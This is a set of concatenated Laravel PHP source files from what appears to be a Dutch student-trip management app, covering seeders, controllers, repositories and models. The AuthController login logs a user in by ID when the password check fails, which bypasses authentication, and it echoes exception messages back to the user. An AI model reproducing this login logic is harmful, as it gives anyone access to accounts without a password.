]); //<NAME> DB::table('users')->insert([ 'username' => 'r7891011', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); //<NAME> DB::table('users')->insert([ 'username' => 'r1112131', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); //<NAME> DB::table('users')->insert([ 'username' => 'r1415161', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); //<NAME> DB::table('users')->insert([ 'username' => 'r1718192', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); //<NAME> DB::table('users')->insert([ 'username' => 'r2021222', 'password' => bcrypt('tom'), 'role' => 'traveller', ]); //<NAME> DB::table('users')->insert([ 'username' => 'r2324252', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); //<NAME> DB::table('users')->insert([ 'username' => 'r2627282', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); //<NAME> DB::table('users')->insert([ 'username' => 'r2930313', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); //<NAME> DB::table('users')->insert([ 'username' => 'r3233343', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); //<NAME> DB::table('users')->insert([ 'username' => 'r3536373', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); //<NAME> DB::table('users')->insert([ 'username' => 'r3839404', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); //<NAME> DB::table('users')->insert([ 'username' => 'r4142434', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); //<NAME> DB::table('users')->insert([ 'username' => 'r4445464', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); //<NAME> DB::table('users')->insert([ 'username' => 'r4748495', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); //<NAME> DB::table('users')->insert([ 'username' => 'r5051525', 'password' => bcrypt('jan'), 'role' => 'traveller', ]); //<NAME> DB::table('users')->insert([ 'username' => 'r5354555', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); //<NAME> DB::table('users')->insert([ 'username' => 'r5657585', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); //<NAME> DB::table('users')->insert([ 'username' => 'r5960616', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); //More Dummy Data DB::table('users')->insert([ 'username' => 'r0000032', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); DB::table('users')->insert([ 'username' => 'r0000033', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); DB::table('users')->insert([ 'username' => 'r0000034', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); DB::table('users')->insert([ 'username' => 'r0000035', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); DB::table('users')->insert([ 'username' => 'r0000036', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); DB::table('users')->insert([ 'username' => 'r0000037', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); DB::table('users')->insert([ 'username' => 'r0000038', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); DB::table('users')->insert([ 'username' => 'r0000039', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); DB::table('users')->insert([ 'username' => 'r0000040', 'password' => bcrypt('<PASSWORD>'), 'role' => 'guide', ]); DB::table('users')->insert([ 'username' => 'r0000041', 'password' => bcrypt('<PASSWORD>'), 'role' => 'guide', ]); DB::table('users')->insert([ 'username' => 'r0000042', 'password' => bcrypt('<PASSWORD>'), 'role' => 'guide', ]); DB::table('users')->insert([ 'username' => 'r0000043', 'password' => bcrypt('<PASSWORD>'), 'role' => 'guide', ]); DB::table('users')->insert([ 'username' => 'r0000044', 'password' => bcrypt('<PASSWORD>'), 'role' => 'guide', ]); DB::table('users')->insert([ 'username' => 'r0000045', 'password' => bcrypt('<PASSWORD>'), 'role' => 'guide', ]); DB::table('users')->insert([ 'username' => 'r0000046', 'password' => bcrypt('<PASSWORD>'), 'role' => 'guide', ]); DB::table('users')->insert([ 'username' => 'r0000047', 'password' => bcrypt('<PASSWORD>'), 'role' => 'guide', ]); DB::table('users')->insert([ 'username' => 'r0000048', 'password' => bcrypt('<PASSWORD>'), 'role' => 'guide', ]); DB::table('users')->insert([ 'username' => 'r0000049', 'password' => bcrypt('<PASSWORD>'), 'role' => 'guide', ]); DB::table('users')->insert([ 'username' => 'r0000050', 'password' => bcrypt('<PASSWORD>'), 'role' => 'guide', ]); } } <file_sep><?php namespace App\Http\Controllers\Organiser; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Session; use App\Repositories\Contracts\TripRepository; use App\Repositories\Contracts\AccomodationRepository; use App\Repositories\Contracts\TravellerRepository; use Illuminate\Support\Facades\Auth; class Accomodation extends Controller { /** * * @var tripRepository */ private $trips; /** * * @var accomodationRepository */ private $accomodations; /** * * @var travellerRepository */ private $travellers; /** * accomodationController Constructor * * @param tripRepository $trip * @param accomodationRepository $accomodation */ public function __construct(TripRepository $trip, AccomodationRepository $accomodation, TravellerRepository $traveller) { $this->trips = $trip; $this->accomodations = $accomodation; $this->travellers = $traveller; } /** * * @return boolean */ private function hasRights() { //checks if the current user is admin or organiser for the trip $oUser = Auth::user(); $bIsOrganizer=false; if($oUser->role!='admin'){ $bIsOrganizer = $this->travellers->isOrganizerForTheTrip(session('tripId')); } if (($oUser->role == 'guide'&& $bIsOrganizer)||($oUser->role=='admin')){ // dd($this->travellers->isOrganizerForTheTrip(session('tripId')),$bIsOrganizer,$oUser->role); return true; }else{ return false; } } /** * * @param type $iTripId * @return type */ public function overview($iTripId = null) { $oUser = Auth::user(); /* Get all active trips and number of partisipants */ $aActiveTrips = $this->trips->getAllActive(); if($aActiveTrips->count() == 0){ return Redirect::back()->withErrors(['er zijn geen active reizen om weer te geven']); } foreach ($aActiveTrips as $oTrip) { $aTripsAndNumberOfAttendants[$oTrip->trip_id]['trip_id'] = $oTrip->trip_id; $aTripsAndNumberOfAttendants[$oTrip->trip_id]['name'] = $oTrip->name; $aTripsAndNumberOfAttendants[$oTrip->trip_id]['year'] = $oTrip->year; $aTripsAndNumberOfAttendants[$oTrip->trip_id]['numberOfAttends'] = $this->trips->getNumberOfAttendants($oTrip->trip_id); } /* Get all active trips that can be accessed by the user depending on his role */ if ($oUser->role == 'admin') { $aTripsByOrganiser = $aActiveTrips; }elseif ($oUser->role == 'guide') { $aTripsByOrganiser = $this->trips->getActiveByOrganiser($oUser->user_id); if($aTripsByOrganiser->count() == 0){ return Redirect::back()->withErrors(['er zijn geen active reizen om weer te geven']); } } /* if tripId not set set tripId to the first active trip of the organiser */ if ($iTripId == null) { $iTripId = $aTripsByOrganiser[0]->trip_id; } /* store active trip to session */ Session::put('tripId', $iTripId); /* Check if user can access the data of the requested trip */ if (!$aTripsByOrganiser->contains('trip_id',$iTripId)){ return abort(403); } /* Get the current trip */ $oCurrentTrip = $this->trips->get($iTripId); $accomodationsPerTrip = $this->accomodations->getAccomodationsPerTrip($iTripId); /* get accomodations list for the current trip */ $aAccomodations = $this->accomodations->getAccomodationsByDestination($oCurrentTrip->name); return view('organizer.lists.accomodations', [ 'accomodationsPerTrip' => $accomodationsPerTrip, 'aAccomodations' => $aAccomodations, 'oCurrentTrip' => $oCurrentTrip, 'aTripsAndNumberOfAttendants' => $aTripsAndNumberOfAttendants, 'aTripsByOrganiser' => $aTripsByOrganiser, ]); } /** * add accomodation to trip * * @author * * @param Request $request * @return \Illuminate\Http\RedirectResponse */ public function addAccomodationToTrip(Request $request){ if ($this->hasRights()){ $aData['trip_id'] = $request->post('trip_id'); $aData['hotel_id'] = $request->post('hotel_id'); $aData['start_date'] = $request->post('checkIn'); $aData['end_date'] = $request->post('checkOut'); $this->accomodations->addAccomodationsToTrip($aData); return redirect()->back(); }else{ return redirect()->back()->with('errormessage', 'je hebt onvoldoende rechten voor deze bewerking'); } } /** * create accomodation * * @author * * @param Request $request * @return \Illuminate\Http\RedirectResponse */ public function createAccomodation(Request $request){ if ($this->hasRights()){ $this->accomodations->storeAccomodation($request); return redirect()->back()->with('successmessage','verblijfsaccomodatie succesvol aangemaakt'); }else{ return redirect()->back()->with('errormessage', 'je hebt onvoldoende rechten voor deze bewerking'); } } /** * update accomodation * * @author * * @param Request $request * @return \Illuminate\Http\RedirectResponse */ public function updateAccomodation(Request $request){ if ($this->hasRights()){ $this->accomodations->updateAccomodation($request); return redirect()->back(); dd($this->hasRights()); }else{ return redirect()->back()->with('errormessage', 'je hebt onvoldoende rechten voor deze bewerking'); } } /** * delete accomodation * * @author * * @param Request $request * @return \Illuminate\Http\RedirectResponse */ public function deleteAccomodation($hotelTripId){ if ($this->hasRights()){ $this->accomodations->deleteAccomodationFromTrip($hotelTripId); return redirect()->back()->with('message', 'Het verblijf is verwijderd uit deze reis'); }else{ return redirect()->back()->with('errormessage', 'je hebt onvoldoende rechten voor deze bewerking'); } } } <file_sep><?php namespace App\Http\Controllers\Auth; use App\Http\Controllers\Controller; use Illuminate\Foundation\Auth\AuthenticatesUsers; use Illuminate\Support\Facades\Auth; use Illuminate\Http\Request; use App\Repositories\Contracts\UserRepository; class AuthController extends controller { /** * * @var UserRepository */ private $users; public function __construct(UserRepository $user) { $this->users = $user; } public function index() { return view('home'); } public function showView() { if (Auth::check()){ return (route("home")); } else{ return view("auth.Authenticate"); } } public function login(Request $request) { try { $user = $this->users->get(request('username'));// User::where(['username'=> request('username'), 'password' => request('password')])->get(); if (! auth()->attempt(request(['username', 'password']))) { if (! auth()->loginUsingId($user->user_id)) { return back()->with('message', 'Gebruikersnaam of passwoord is fout.'); } } if (Auth::user()) { $role = Auth::user()->role; if ($role == "admin"){ return redirect('/admin/dashboard'); } if ($role == "guest"){ return redirect('/user/registrationform/step-0'); } return redirect('/'); } } catch (\Exception $e) { return back()->with('message', 'Gebruikersnaam of passwoord is fout '. $e->getMessage()); } } public function logout(Request $request) { $request->session()->flush(); Auth::logout(); return redirect('/'); } }<file_sep><?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class Zip extends Model { protected $primaryKey = 'zip_id'; public static function exists($zip,$city){ if (Zip::where('zip_code', $zip)->where('city', $city)->count() > 0){ return true; }else{ return false; } } } <file_sep><?php namespace App\Http\Controllers\Organiser; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use App\Repositories\Contracts\TripRepository; use App\Repositories\Contracts\TravellerRepository; class Payments extends Controller { /** * * @var travellerRepository */ private $travellers; /** * * @var tripRepository */ private $trips; public function __construct(TravellerRepository $traveller, TripRepository $trip) { $this->travellers = $traveller; $this->trips = $trip; } /** * list of travellers and their payments for the selected trip * @author <NAME> * * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function showPaymentsTable($iTripId = null){ $oUser = Auth::user(); /* Get all active trips and number of partisipants */ $aActiveTrips = $this->trips->getAllActive(); if($aActiveTrips->count() == 0){ return Redirect::back()->withErrors(['er zijn geen active reizen om weer te geven']); } foreach ($aActiveTrips as $oTrip) { $aTripsAndNumberOfAttendants[$oTrip->trip_id]['trip_id'] = $oTrip->trip_id; $aTripsAndNumberOfAttendants[$oTrip->trip_id]['name'] = $oTrip->name; $aTripsAndNumberOfAttendants[$oTrip->trip_id]['year'] = $oTrip->year; $aTripsAndNumberOfAttendants[$oTrip->trip_id]['numberOfAttends'] = $this->trips->getNumberOfAttendants($oTrip->trip_id); } /* Get all active trips that can be accessed by the user depending on his role */ if ($oUser->role == 'admin') { $aTripsByOrganiser = $aActiveTrips; }elseif ($oUser->role == 'guide') { $aTripsByOrganiser = $this->trips->getActiveByOrganiser($oUser->user_id); if($aTripsByOrganiser->count() == 0){ return Redirect::back()->withErrors(['er zijn geen active reizen om weer te geven']); } } /* if tripId not set set tripId to the first active trip of the organiser */ if ($iTripId == null) { $iTripId = $aTripsByOrganiser[0]->trip_id; } /* Check if user can access the data of the requested trip */ if (!$aTripsByOrganiser->contains('trip_id',$iTripId)){ return abort(403); } /* Get the current trip */ $oCurrentTrip = $this->trips->get($iTripId); $aPaymentData = $this->travellers->getPaymentData($iTripId); return view('organizer.lists.pay_overview',[ 'userdata' => $aPaymentData, 'oCurrentTrip' => $oCurrentTrip, 'aActiveTrips' => $aActiveTrips, 'aTripsAndNumberOfAttendants' => $aTripsAndNumberOfAttendants, 'aTripsByOrganiser' => $aTripsByOrganiser,]); } } <file_sep><?php namespace App\Repositories\Contracts; /** * Description of TravellerRepository * * @author u0067341 */ interface AccomodationRepository { /** * get the accomodation name * * @return string */ public function getAccomodationName($accomodationId); /** * get all accomodations for a specific trip * * @return collection */ public function getAccomodationsPerTrip($iTripId); /** * get all accomodations for a specific destination * * @return collection */ public function getAccomodationsByDestination($sDestinationName); /** * add accomodations to trip * * @return */ public function addAccomodationsToTrip($aData); /** * store accomodation * * @return */ public function storeAccomodation($data); /** * update accomodation * * @return */ public function updateAccomodation($data); /** * delete accomodation * * @return */ public function deleteAccomodationFromTrip($iId); }<file_sep><?php namespace App\Http\Requests; use Illuminate\Foundation\Http\FormRequest; class RegistrationFormStep1Post extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return true; } /** * * Get the error messages for the defined validation rules. * * @return array Returns an array of all validator messages. * */ public function messages() { return [ 'required' => 'The :attribute field must be filled in', 'txtStudentNummer.required' => 'Je Studenten-/docentennummer moet ingevuld worden.', 'txtStudentNummer.regex' => 'Een studenten-/docentennummer moet beginnen met een r of een u of een b voor begeleiders', 'txtStudentNummer.min' => 'Een studenten-/docentennummer heeft 1 letter en 7 cijfers', 'txtStudentNummer.max' => 'Een studenten-/docentennummer heeft 1 letter en 7 cijfers', 'txtStudentNummer.unique' => 'Deze r-/u-/b-nummer is al in gebruik. Als je denkt dat dit niet kan, vraag om hulp op de contactpagina door een email te sturen.', 'dropReis.required' => 'Je moet een reis kiezen.', 'Study.required' => 'Je moet een opleiding kiezen.', 'Mayor.required' => 'Je moet een afstudeerrichting kiezen.', ]; } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'dropReis' => 'required', 'txtStudentNummer' => 'required | filled | regex:^[rubRUB]^ | min:8 | max:8 | unique:users,username', 'Study' => 'required', 'Major' => 'required', ]; } } <file_sep><?php namespace App\Repositories\Contracts; /** * Description of TripRepository * * @author u0067341 */ interface TripRepository { /** * Insert new record into trip table * @param type $aTripData */ public function store($aTripData); /** * update record into trip table * @param array $aTripData * @param integer $iTripId */ public function update($aTripData,$iTripId); /** * get all trips * @param integer $iTripId * @return $oTrip */ public function getAllTrips(); /** * get trip * @param integer $iTripId * @return $oTrip */ public function get($iTripId); /** * get All active trips * * @return $aActiveTrips all Active trips */ public function getAllActive(); /** * get All active trips with value for contact_mail column. * @param integer $iTripId * @return $iNumber */ public function getAllActiveWithContact(); /** * get All active trips by Organiser * * @return $aActiveTrips all Active trips */ public function getActiveByOrganiser($iUserId); /** * get All active trips for a specific traveller * * @return $aActiveTrips all Active trips */ public function getActiveTripsForTraveller($iUserId); /** * get attendants per trip * @param integer $iTripId * @return $aAttendants */ public function getNumberOfAttendants($iTripId); /** * get organizers per trip * @param integer $iTripId * @return $aOrganizers */ public function getOrganizersByTrip($iTripId); /** * get all possible drivers for the given trip * @author <NAME> * @param integer $iTripid the trip_id * @return collection possibleDrivers */ public function getPossibleDriversForTheTrip($tripId); public function setTravellerAsTripOrganizer($iTripId,$iTravellerId); public function removeOrganizerFromTrip($iTripId,$iTravellerId); public function getDestinations(); }<file_sep><?php namespace App\Repositories\Eloquent; use App\Repositories\Contracts\UserRepository; use App\Models\User; /** * accessing trip data * * @author u0067341 */ class EloquentUser implements UserRepository { public function get($sUserName) { return User::where(['username'=> $sUserName])->get(); } /** * update the User data based on the given array * * @author <NAME> * * @param $aUserData all User Data * @return */ public function update($aUserData,$userId){ $test = User::where('user_id',$userId)->update($aUserData); } public function getResetToken($sUserId) { $oResult = User::where('user_id',$sUserId)->first(); return $oResult->resettoken; } /** * get all users that are guide * * @return array */ public function getGuides() { $aGuides = User::where('role','guide')->with('traveller')->get(); $aSubsetOfGuides = $aGuides->map(function ($oGuide) { return collect($oGuide->traveller->toArray()) ->only(['traveller_id', 'first_name', 'last_name']) ->all(); }); return $aSubsetOfGuides; } }<file_sep><?php namespace App\Http\Requests; use Illuminate\Foundation\Http\FormRequest; use Auth; class ProfileEdit extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return Auth::check(); } /** * * Get the error messages for the defined validation rules. * * @return array Returns an array of all validator messages. * */ public function messages() { return [ 'LastName.required' => 'U heeft geen achternaam ingevuld.', 'FirstName.required' => 'U heeft geen voornaam ingevuld.', 'IBAN.required' => 'U heeft geen IBAN-nummer ingevuld.', 'iban' => 'U heeft geen geldig IBAN-nummer ingevuld.', 'bic' => 'U heeft geen geldig BIC-nummer ingevuld.', 'BirthDate.required' => 'U heeft geen geboortedatum ingevuld.', 'Birthplace.required' => 'U heeft geen geboorteplaats ingevuld.', 'Nationality.required' => 'U heeft geen nationaliteit ingevuld.', 'Address.required' => 'U heeft geen adres ingevuld.', 'Country.required' => 'U heeft geen land ingevuld.', 'Phone.required' => 'U heeft geen GSM-nummer ingevuld.', 'Phone.phone' => 'U heeft geen geldig GSM-nummer ingevuld.', 'icePhone1.required' => 'U heeft bij \'noodnummer 1\' niets ingevuld.', 'icePhone1.phone' => 'U heeft bij \'noodnummer 1\' geen geldig nummer ingevuld.', 'icePhone2.phone' => 'U heeft bij \'noodnummer 2\' geen geldig nummer ingevuld.', ]; } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'LastName' => 'required', 'FirstName' => 'required', 'IBAN' => 'required|iban', 'BIC' => 'required|bic', 'BirthDate' => 'required', 'Birthplace' => 'required', 'Nationality' => 'required', 'Address' => 'required', 'Country' => 'required', 'Phone' => 'required|phone:BE,NL', 'icePhone1' => 'required|phone:BE,NL', 'icePhone2' => 'nullable|phone:BE,NL' ]; } } <file_sep><?php namespace App\Repositories\Contracts; /** * Description of PageRepository * * @author u0067341 */ interface PaymentRepository { public function getByTrip($iTripId); }<file_sep>$(document).ready(function () { $('#add-zip-button').click(function(){ var zip_code = $('#zip-text').val(); var city = $('#city-text').val(); $.ajax({ headers: { 'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content') }, type: "POST", url: "step-add-zip", data: { city: city, zip_code: zip_code, }, success:function (result) { $('#error').hide(); $('#dropGemeentes') .append($("<option></option>") .attr("data-tokens",result['zip_code']+' '+result['city']) .attr("value",result["zip_id"]) .text(result['zip_code']+' '+result['city'])); $('#dropGemeentes').val(result["zip_id"]); $('.filter-option-inner-inner').html(result["zip_code"]+ " "+result["city"]); }, error: function (request, status, error) { $('#error').show(); json = $.parseJSON(request.responseText); $.each(json.errors, function(key, value){ $('#error').html('<p>'+value+'</p>'); }); } }); }); });<file_sep><?php namespace App\Http\Controllers\Traveller; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use App\Http\Requests\ProfileEdit; use App\Repositories\Contracts\TravellerRepository; use App\Repositories\Contracts\TripRepository; use App\Repositories\Contracts\CityRepository; use App\Repositories\Contracts\StudieRepository; class ProfileController extends Controller { /** * Shows user Profile * * @author * * @param Request $request * @param $sUserName * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View|string */ /** * * @var travellerRepository */ private $travellers; /** * * @var tripRepository */ private $trips; /** * * @var cityRepository */ private $cities; /** * * @var studieRepository */ private $studies; /** * ProfileController Constructor * * @param travellerRepository $traveller * @param tripRepository $trip */ public function __construct(TravellerRepository $traveller, TripRepository $trip, CityRepository $city, StudieRepository $study) { $this->travellers = $traveller; $this->trips = $trip; $this->cities = $city; $this->studies = $study; } public function showProfile(Request $request) { if (Auth::user()->role == "admin"){ return redirect(route("/")); } $usersId = Auth::user()->user_id; $aUserData = $this->travellers->get($usersId); return view('user.profile.profile', ['bIsOrganizer' => false,'aUserData' => $aUserData]); } public function editProfile(Request $request) { if (Auth::user()->role == "admin"){ return redirect(route("/")); } $usersId = Auth::user()->user_id; $aUserData = $this->travellers->get($usersId); $aTrips = $this->trips->getAllActive(); foreach ($aTrips as $oTrip){ $aTripSelectList[$oTrip->trip_id] = $oTrip->name." ".$oTrip->year; } $aStudies = $this->studies->get(); foreach ($aStudies as $oStudy){ $aStudySelectList[$oStudy->study_id] = $oStudy->study_name; } $oZips = $this->cities->get(); $aMajors = $this->studies->getMajorsByStudy($aUserData['study_id']); return view('user.profile.profileEdit', ['sEditor' => 'user', 'aUserData' => $aUserData, 'aTrips' => $aTripSelectList, 'oZips' => $oZips, 'aStudies' => $aStudySelectList, 'aMajors' => $aMajors]); } /** * Updates the data of a selected user * * @author <NAME> * * @param ProfileEdit $aRequest * @param $sUserName * @return \Illuminate\Http\RedirectResponse|\Illuminate\Routing\Redirector */ public function updateProfile(ProfileEdit $aRequest) { if (Auth::user()->role == "admin"){ return redirect(route("/")); } $userId = Auth::user()->user_id; $aProfileData = [ 'last_name' => $aRequest->post('LastName'), 'first_name' => $aRequest->post('FirstName'), 'gender' => $aRequest->post('Gender'), 'major_id' => $aRequest->post('Major'), 'iban' => $aRequest->post('IBAN'), 'bic' => $aRequest->post('BIC'), 'medical_issue' => $aRequest->post('MedicalIssue'), 'medical_info' => $aRequest->post('MedicalInfo'), 'birthdate' => $aRequest->post('BirthDate'), 'birthplace' => $aRequest->post('Birthplace'), 'nationality' => $aRequest->post('Nationality'), 'address' => $aRequest->post('Address'), 'zip_id' => $aRequest->post('City'), 'country' => $aRequest->post('Country'), 'phone' => $aRequest->post('Phone'), 'emergency_phone_1' => $aRequest->post('icePhone1'), 'emergency_phone_2' => $aRequest->post('icePhone2'), ]; $this->travellers->update($aProfileData,$userId); return redirect()->route('profile'); } } <file_sep><?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class Hotel extends Model { protected $primaryKey = 'hotel_id'; public function trips() { return $this->belongsToMany(Trips::class,null,'trip_id','trip_id') ->withTimestamps() ->withPivot(['id','start_date','end_date']); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Repositories\Contracts\StudieRepository; use App\Repositories\Contracts\TripRepository; use App\Repositories\Contracts\TravellerRepository; use App\Repositories\Contracts\AccomodationRepository; class DataController extends Controller { /** * * @var studieRepository */ private $studies; /** * * @var tripRepository */ private $trips; /** * * @var travellerRepository */ private $travellers; /** * * @var accomodationRepository */ private $accomodations; function __construct(StudieRepository $studie, TripRepository $trip, TravellerRepository $traveller, AccomodationRepository $accomodation) { $this->middleware('auth'); $this->middleware('checkloggedin'); $this->studies = $studie; $this->trips = $trip; $this->travellers = $traveller; $this->accomodations = $accomodation; } /** * * @param type $studyId * @return type */ public function getMajorsByStudy($studyId) { $aMajors = $this->studies->getMajorsByStudy($studyId); return json_encode($aMajors); } /** * * @param type $destinationName * @return type */ public function getAccomodationsByDestination($sDestinationName) { $aAccomodations = $this->accomodations->getAccomodationsByDestination($sDestinationName); return json_encode($aAccomodations); } /** * get organizers by trip and result in Json format * * @author <NAME> * @param type $tripId * @return type */ public function getOrganizersByTrip($iTripId) { $aOrganizers = $this->trips->getOrganizersByTrip($iTripId); return response()->json(['aOrganizers' => $aOrganizers]); } /** * * @return type */ public function addOrganizersToTrip(Request $request){ // this will automatically return a 422 error response when request is invalid $this->validate($request, [ 'traveller_ids' => 'required', 'trip_id' => 'required', ]); // below is executed when request is valid $aTravellerId = $request->post('traveller_ids'); $iTripId = $request->post('trip_id'); foreach($aTravellerId as $iTravellerId){ $this->trips->setTravellerAsTripOrganizer($iTripId, $iTravellerId); } //$request->session()->flash('message', 'De geselecteerde begeleiders werden aan de geselecteerde reis gekoppeld.'); return response()->json(['success' => true]); } public function removeOrganizerFromTrip(Request $request) { $iTravellerId = $request->post('traveller_id'); $iTripId = $request->post('trip_id'); //is_organizer veld op false zetten in TravellersPerTrip $this->trips->removeOrganizerFromTrip($iTripId, $iTravellerId); // $request->session()->flash('message', 'Het verwijderen van de begeleider is gelukt.'); return response()->json(['success' => true]); } public function getPaymentsFromUserByTrip($iTripId,$iTravellerId) { $aPaymentsPerUser = $this->travellers->getPayments($iTripId, $iTravellerId); return response()->json(['aPayments' => $aPaymentsPerUser]); } public function deletePayment(Request $request){ $iPaymentId = $request->post('payment_id'); $this->travellers->deletePayment($iPaymentId); //return response()->json(['success' => true]); } public function addPayment(Request $request){ // this will automatically return a 422 error response when request is invalid $this->validate($request, [ 'traveller_id' => 'required', 'trip_id' => 'required', 'amount' => 'required', 'payment_date' => 'required', ]); // below is executed when request is valid $aPaymentData['traveller_id'] = $request->post('traveller_id'); $aPaymentData['trip_id'] = $request->post('trip_id'); $aPaymentData['amount'] = $request->post('amount'); $aPaymentData['date_of_payment'] = $request->post('payment_date'); $this->travellers->addPayment($aPaymentData); } public function getPossibleDriversByTrip($tripId){ $possibleDrivers = $this->trips->getPossibleDriversForTheTrip($tripId); return response()->json(['possibleDrivers' => $possibleDrivers]); } }<file_sep><?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateHoteltripTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('hotel_trip', function (Blueprint $table) { $table->increments('id'); $table->integer('hotel_id')->unsigned(); $table->integer('trip_id')->unsigned(); $table->date('start_date'); $table->date('end_date'); $table->timestamps(); $table->foreign('trip_id')->references('trip_id')->on('trips'); $table->foreign('hotel_id')->references('hotel_id')->on('hotels'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('hoteltrip'); } } <file_sep><?php namespace App\Http\Controllers\Organiser; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Mail; use Illuminate\Support\Facades\Auth; use App\Repositories\Contracts\TripRepository; use App\Repositories\Contracts\TravellerRepository; use App\Mail\InformationMail; use App\Http\Requests\SendMailForm; class SendMail extends Controller { /** * * @var tripRepository */ private $trips; /** * * @var TravellerpRepository */ private $travellers; /** * SendMail Constructor * * @param travellerRepository $traveller * @param tripRepository $trip */ public function __construct(TripRepository $trip, TravellerRepository $traveller) { $this->trips = $trip; $this->travellers = $traveller; } /** * This method shows the email form * * @author <NAME> * * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function getEmailForm() { //get the current user $oUser = Auth::user(); //redirect if no rights to send emails if (($oUser->role == 'admin') || ($oUser->role != 'guide')){ return redirect('info'); } $sEmail = $oUser->traveller->email; $aActiveTripsByOrganiser = $this->trips->getActiveByOrganiser($oUser->user_id); $aTrips = array(); foreach ($aActiveTripsByOrganiser as $oTrip) { $aTrips[$oTrip->trip_id] = $oTrip->name . ' ' . $oTrip->year; } return view('mails.informationmailform', ['aTrips' => $aTrips, 'sEmail' => $sEmail]); } /** * This method validates and sends the update mail * * @author <NAME> & <NAME> * * @param Request $request * @return \Illuminate\Http\RedirectResponse */ public function sendInformationMail(SendMailForm $request) { if(Auth::user()->role == "admin"){ return back()->with('danger','U kan geen mail versturen als administrator'); } $sContactMail = $request->post('contactMail'); $iTripId = $request->post('trip'); /* Set the mail data */ $aMailData = [ 'subject' => $request->post('subject'), 'trip' => $this->trips->get($iTripId), 'message' => $request->post('message'), 'contactMail' => $sContactMail ]; /* Get the mail list and chunk them by 10 */ $aAllTravellersPerTrip = $this->travellers->getTravellersDataByTrip($iTripId, ['email' => 'email','first_name' => 'first_name','last_name' => 'last_name']); foreach( $aAllTravellersPerTrip as $aTraveller){ $aRecipient['email'] = $aTraveller['email']; $aRecipient['name'] = $aTraveller['first_name']. ' ' .$aTraveller['last_name']; $aMalingList[] = $aRecipient; } $aChunkMalingList = array_chunk($aMalingList, 10); /* Send the mail to each recipient */ foreach ($aChunkMalingList as $aChunk) { //dd($aChunk); Mail::to($aChunk)->send(new InformationMail($aMailData)); } return redirect()->back()->with('message', 'De email is succesvol verstuurd!'); } } <file_sep><?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class Room extends Model { protected $primaryKey = 'room_id'; public function travellers() { return $this->belongsToMany(Traveller::class,null,'room_id','traveller_id') ->withTimestamps(); } } <file_sep><?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use App\Repositories\Contracts\PageRepository; class InfoPagesController extends Controller { /** * * @var PageRepository */ private $pages; /** * Create a new controller instance. * * @return void */ public function __construct(PageRepository $page) { $this->pages = $page; } /** * This function shows the pagesOverview view * * @author <NAME> * * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function index(){ $aPages = $this->pages->getAllInfoPages(); return view('admin.infoPages.pagesOverview', array( 'aPages' => $aPages, )); } /** * This function creates a new page and shows the editPage view of the new page * * @author <NAME> * * @param Request $request * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function createPage(Request $request){ $sPageName=$request->input('Name'); //opmerking nog testen of de naam van de pagina verschilt van Home $this->pages->create($sPageName); $oPage = $this->pages->get($sPageName); return view('admin.infoPages.editPage', array( 'oPage' => $oPage, ))->with('message', 'De pagina is aangemaakt'); } /** * This function shows the editPage view * * @author <NAME> * * @param Request $request * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function editPage(Request $request){ $sPageName = $request->input('name'); $oPage = $this->pages->get($sPageName); return view('admin.infoPages.editPage', array( 'oPage' => $oPage, )); } /** * This function deletes the related view * * @author <NAME> * * @param Request $request * @return \Illuminate\Http\RedirectResponse */ public function deletePage(Request $request){ $pageId = $request->input('pageId'); $bSuccess = $this->pages->delete($pageId); if ($bSuccess){ return redirect()->back()->with('message', 'De pagina is verwijderd'); }else{ return redirect()->back()->with('message', 'De pagina kan niet worden 